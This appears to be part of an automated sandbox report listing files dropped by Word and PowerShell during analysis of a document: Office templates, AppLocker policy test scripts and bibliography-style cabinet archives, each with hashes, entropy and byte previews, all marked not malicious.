PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Local\Temp\TCDC780.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5434534344080606
Encrypted:	false
SSDEEP:	6:Q+sxnxUXIc5+RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny4KcymD0wbnKNAH/lMz1
MD5:	C9812793A4E94320C49C7CA054EE6AA4
SHA1:	CC1F88C8F3868B3A9DE7E0E5F928DBD015234ABA
SHA-256:	A535AE7DD5EDA6D31E1B5053E64D0D7600A7805C6C8F8AF1DB65451822848FFC
SHA-512:	D28AADEDE0473C5889F3B770E8D34B20570282B154CD9301932BF90BF6205CBBB96B51027DEC6788961BAF2776439ADBF9B56542C82D89280C0BEB600DF4B633
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.a.i.n._.E.v.e.n.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC7CF.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.4699940532942914
Encrypted:	false
SSDEEP:	6:fxnxUXGWWYlIWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxny2WzIgN2RGHmD0wbnKYZAH+Vwv
MD5:	55BA5B2974A072B131249FD9FD42EB91
SHA1:	6509F8AC0AA23F9B8F3986217190F10206A691EA
SHA-256:	13FFAAFFC987BAAEF7833CD6A8994E504873290395DC2BD9B8E1D7E7E64199E7
SHA-512:	3DFB0B21D09B63AF69698252D073D51144B4E6D56C87B092F5D97CE07CBCF9C966828259C8D95944A7732549C554AE1FF363CB936CA50C889C364AA97501B558
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.s.i.g.h.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDC7CF.tmp\Insight design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d5mzir2y.s11.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f31cclwv.w2x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fpxlx5pz.pqo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fwahvfxo.x0j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jkbztv2t.5h4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jqvyp3om.5i2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kzdlb525.ckl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhahqnsr.sv1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mxklkd1m.my4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sdfmgovn.xmx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vn1q5fse.tov.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wb3kzkbh.ohf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xwosdyad.gx2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y3d1jdpb.sdd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\cab1851.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3239239 bytes, 2 files, at 0x44 +A "content.inf" +A "Vapor_Trail.thmx", flags 0x4, ID 19811, number 1, extra bytes 20 in head, 111 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	3256855
Entropy (8bit):	7.996842935632312
Encrypted:	true
SSDEEP:	98304:wh7I1aeH9YvgK+A+a7GiiQzP4YZDpQ2+Sd6Y:w21ay93aypQzzhpBL/
MD5:	8867BDF5FC754DA9DA6F5BA341334595
SHA1:	5067CCE84C6C682B75C1EF3DEA067A8D58D80FA9
SHA-256:	42323DD1D3E88C3207E16E0C95CA1048F2E4CD66183AD23B90171DA381D37B58
SHA-512:	93421D7FE305D27E7E2FD8521A8B328063CD22FE4DE67CCCF5D3B8F0258EF28027195C53062D179CD2EBA3A7E6F6A34A7A29297D4AF57650AA6DD19D1EF8413D
Malicious:	false
Preview:	MSCF....Gm1.....D...............cM..........Gm1..D..............o... ..........MP. .content.inf...7. ......MP. .Vapor_Trail.thmx..n...N..[......L........7...+I..x...P7/...BH..Rm.\yqi.x..B....{.m.............=.....p.%.@......BpV.[......C.4..X./..Y.'SB..........0.Gr.FG.).....R\...2..Jt..1..._.4_B..................cn7H.-.....Q...1..G{G.~.. '.$......@.(....=@=..`....@.@.A. ....'.4`. .@....D...'....S.s..9.7" /....?.aY.c.........LG....k...?_.....P.....?.1.....FB..m..t...['......:...?...W..../~..z.Tr...X.@...._....3..N..p.....b...t.....^..t...~..t.8A...t_....D..3R.Z.=..{.A.8).3-5..v.isz....0A~%.s.D.4....k.K......8......)R.}f.E..n.g&:W...'E....4%T..>......b.y..[..zI....e...j.s....F.....\|7826U.C.,..BY.U.F.f......"..#.m..,..._...#.\.....gPP.2.}Kas......g..3.d0.Z.Z.]..n......MY]6.....].m..D.6...?.n.20.,.#...S...JK..#.W.%.Z4.....i..CBf...../..z......n.N...U.....8t...ny...=.!..#..SF..e...1.P..@.Qx*.f.;..t..S.>..... F..)...@.Y..5j....x....vI.mM....Z.W..77...

C:\Users\user\AppData\Local\Temp\cabC063.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 12767 bytes, 2 files, at 0x4c "ieee2006officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	28911
Entropy (8bit):	7.7784119983764715
Encrypted:	false
SSDEEP:	384:WnJY165YD0tPYoCKa3HueqRyzVscLk1Yj2GjcgbA8E0GftpBjE2kWTpjFLrHRN7N:X4rtPzCK6uRoljXBA8Pi62ZphL0HRA5p
MD5:	6D787B1E223DB6B91B69238062CCA872
SHA1:	A02F3D847D1F8973E854B89D4558413EA2E349F7
SHA-256:	DA2F261C3C82E229A097A9302C8580F014BB6442825DB47C008DA097CFCE0EE4
SHA-512:	9856D88D5C63CD6EBCF26E5D7521F194FA6B6E7BF55DD2E0238457A1B760EB8FB0D573A6E85E819BF8E5BE596537E99BC8C2DCE7EC6E2809A43490CACCD44169
Malicious:	false
Preview:	MSCF.....1......L............................1...?...................0......"}..............ieee2006officeonline.xsl.:...............Content.inf.........[...G."...3$pE...G B....m3o[...I2&.f.,\..........}.n..{..e.8!^.3.A@...x..... .D.52gU..]..."..N8....s..CS..J3..HV...m...y..o....F.z......V.j._....=~k.....'.dY........1........#...d13.g.&C...C.xw.`f.hf..........]M....m.m....ud...,+.H~..cL...e#;(RI...eA....I.b...E...2..(...$.j...L...$..A....'[...H9..&..G.Q....".M.yl....]..?j%+....O~.....\|.se...K\.B"W..F.5.......=s...l.Y...K..yN.TBH[...sTWR.N.d...WEa....T.d.K.^sauI......m..s=.,qso5.b.V.s.]..9..,k4.\..L.;D...........;r.C...7.w.j..:N8.V6..a.3..j:A.mA..To..$.5....:./..p.x.3.=..__...8.EB.K...].-."..5-XU..J.....=o..K.Wavg.o].z.9.gk.._.........MZ.<.5............OY.n.o...r.9v.c.......[n.[..D...d..}.j.....LB,]_.9..St.@..C....\...^....-&.njq..!P....G^.....w.7.p~.......M..g.J............t1......q.w.rx...qp.....E.........-...2..G.........z.]B........d....C.@...@.

C:\Users\user\AppData\Local\Temp\cabC064.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 17466 bytes, 2 files, at 0x4c "chicago.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 10 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	33610
Entropy (8bit):	7.8340762758330476
Encrypted:	false
SSDEEP:	768:IlFYcxiahedKSDNAPk5WEEfA8Pi6xnOKMRA58:2JitdKsNAM5WBDP7xOKMq58
MD5:	51804E255C573176039F4D5B55C12AB2
SHA1:	A4822E5072B858A7CCA7DE948CAA7D2268F1BB4B
SHA-256:	3C6F66790C543D4E9D8E0E6F476B1ACADF0A5FCDD561B8484D8DDDADFDF8134B
SHA-512:	2AC8B1E433C9283377B725A03AE72374663FEC81ABBA4C049B80409819BB9613E135FCD640ED433701795BDF4D5822461D76A06859C4084E7BAE216D771BB091
Malicious:	false
Preview:	MSCF....:D......L...........................:D...?..................XC.....................chicago.xsl. ...............Content.inf.!..B...[...H."m..3C.6...WP!i/Z..vn._...^omvw+...^..L.4o...g..y......^..x...BH.B.K....w.....F........p ./gg.h.0I',.$..a.`....^..vi..mw..........K....oQ............P...#...3.......U(.=...q.~?..H..?.'I4'.......X...}w.vw.....f.n..f{3.....-....%dK&q..D.H.Z..h-..H.[$ %.."..e....1...$.............'.....B..%..4...&`S!DQ...M.......N~............S..'....M..4E.^..dej..i..+.`...6F%sJ....Q..d.(.s.Z...U-5Eh.s.CK...K..X$......j..T.?.`.\|...=..R...-7......TU.....7a...&I.noOK\|.W.R-+S.d..rR.....{h.Y...)..xJ..=.XM..o...P'.I4m..~I..C..m.....f.....;{Mzg+Wm.~...z...r-.....eK...lj:^.1g5...7.h(T"..t?5......u.....G.Z<..sL.\{...8=t...Z...'tps.:...\|....6.....S..X...I...6l.M.....aq.;YS....{:.&.'.&.F.l...\.[L.%.so\.v.Lo...zO.^^...p..9k...).CC..F0>L...VUE4.......2..c..p.rCi..#...b.C@o.l.. E_b..{d...hX.\_!a#.E.....yS.H...aZ...~D3.pj: ss?.]....~

C:\Users\user\AppData\Local\Temp\cabC065.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15691 bytes, 2 files, at 0x4c "gb.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31835
Entropy (8bit):	7.81952379746457
Encrypted:	false
SSDEEP:	768:ltJDH8NmUekomvNufaqA8Pi6x5q3KQIGu:lvINukgzP7x5mRIGu
MD5:	92A819D434A8AAEA2C65F0CC2F33BB3A
SHA1:	85C3F1801EFFEA1EA10A8429B0875FC30893F2C8
SHA-256:	5D13F9907AC381D19F0A7552FD6D9FC07C9BD42C0F9CE017FFF75587E1890375
SHA-512:	01339E04130E08573DF7DBDFE25D82ED1D248B8D127BB90D536ECF4A26F5554E793E51E1A1800F61790738CC386121E443E942544246C60E47E25756F0C810A3
Malicious:	false
Preview:	MSCF....K=......L...........................K=...?..................q<......................gb.xsl.................Content.inf.EF/.....[...A....3D.4..oVP!i/......t.6..l&9r0.8......c..q.^........$/..(./H ...^_Z0\4.42WU......P.F..9.._....'.D..<H@..E.b,K..9o..wo..v\|..[.{7m.......\|}aI..\|g....IF2au?.1,..3.H.......ed....-.........m....$..8&0..w........2....s....z..d.Z.e.....@$r[..r..4...."E.Q@...Hh.B"b>...$.L.$.P.._..~.?./T..@..F..?.~G...MS..O%Z3k..:..._...!GF..U...!..W..$..7...j......xy0..../.j..~4......8...YV....Fe.LU..J.B.k%BT5.X.q.w.a4....5..r...W.6.u...]i...t.....e.\.K............#t.c5.6....j...?#..{.m3.L9...E/....B[R.k(.'....S.'.}!j.tL..v....L....{<.m4......d_kD..D.....4`aC....rg..S..F.b..^........g;.`?,......\..T.\.H.8W.!V...1.T1.....\|.Uh....T..yD'..R.......,.`h..~.....=......4..6E..x#XcVlc_S54 ..Q.4!V..P...{w..z...u.v....DC...W.(>4..a..h.t.F.Z...C.....&..%v...kt....n..2....+.@...EW.GE..%.:R`,}v.%.nx.P.#.f.......:.5(...]...n3{...v........Q..

C:\Users\user\AppData\Local\Temp\cabC066.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 16689 bytes, 2 files, at 0x4c "iso690.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	32833
Entropy (8bit):	7.825460303519308
Encrypted:	false
SSDEEP:	768:+0TU06CkaUYMoi//YX428RaFA8Pi6e9iA4I3w:vICTm/QorUpP7eAA4I3w
MD5:	205AF51604EF96EF1E8E60212541F742
SHA1:	D436FE689F8EF51FBA898454CF509DDB049C1545
SHA-256:	DF3FFF163924D08517B41455F2D06788BA4E49C68337D15ECF329BE48CF7DA2D
SHA-512:	BCBA80ED0E36F7ABC1AEF19E6FF6EB654B9E91268E79CA8F421CB8ADD6C2B0268AD6C45E6CC06652F59235084ECDA3BA2851A38E6BCD1A0387EB3420C6EC94AC
Malicious:	false
Preview:	MSCF....1A......L...........................1A...?..................S@......v...............iso690.xsl.................Content.inf.B.9.....[...A.c...32.E...P..'.^}.f...ikMJ....m..s..U.w{m{{...}n.4........I. ..9..d..I.......P\|....F...F.......&&J.:I.34......+M3..4mr.........m.r..m)....dK.wiw...H,...r........y.$..Cu...L...dH.../..V......g.PG$R39...4O..............{w..^....c.m.m.o.....#..Fgs..6.....b....3.I..O....B..B..1h"....K\|f .41......_..g.N.<.>........(....o3a.M)....J..}....-......8.......g.hm!r<...-..1.1....q.?....S.m...`L.g#.K.igv.].ghD....L...p5..?.......iP.[JS.J..?z~.T/.Q...E.K.......P+\LW.-.c..[9.n.7.....P...[.A1....m...4h.9...N[....h5 n%k.~RR.c..n..=...4....).eH.-./..>.....r..S.*..dE.........pF..s.A..?...f..u.+.{..?>N.4].}Xb.M......y......'.2..'..........J4{r..r.3........5>..a0.>.u_.y@g....+y.yu--,ZdD.........5]3..'.s...\|.....K.....T..G.G.e...)..\x..OM.g...`..j0......BfH...+.....:......l`.qU...;.@...",.."........>;P.B.^F...3!......Rx.9..

C:\Users\user\AppData\Local\Temp\cabC077.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 18672 bytes, 2 files, at 0x4c "APASixthEditionOfficeOnline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.840826397575377
Encrypted:	false
SSDEEP:	768:i3R9VYnIYfPYmqX0CnF1SRHVnLG8Pi61YbEIFO:ih9VjYfPYlk+F1SJxP71YbEIFO
MD5:	62863124CDCDA135ECC0E722782CB888
SHA1:	2543B8A9D3B2304BB73D2ADBEC60DB040B732055
SHA-256:	23CCFB7206A8F77A13080998EC6EF95B59B3C3E12B72B2D2AD4E53B0B26BB8C3
SHA-512:	2734D1119DC14B7DFB417F217867EF8CE8E73D69C332587278C0896B91247A40C289426A1A53F1796CCB42190001273D35525FCEA8BA2932A69A581972A1EF00
Malicious:	false
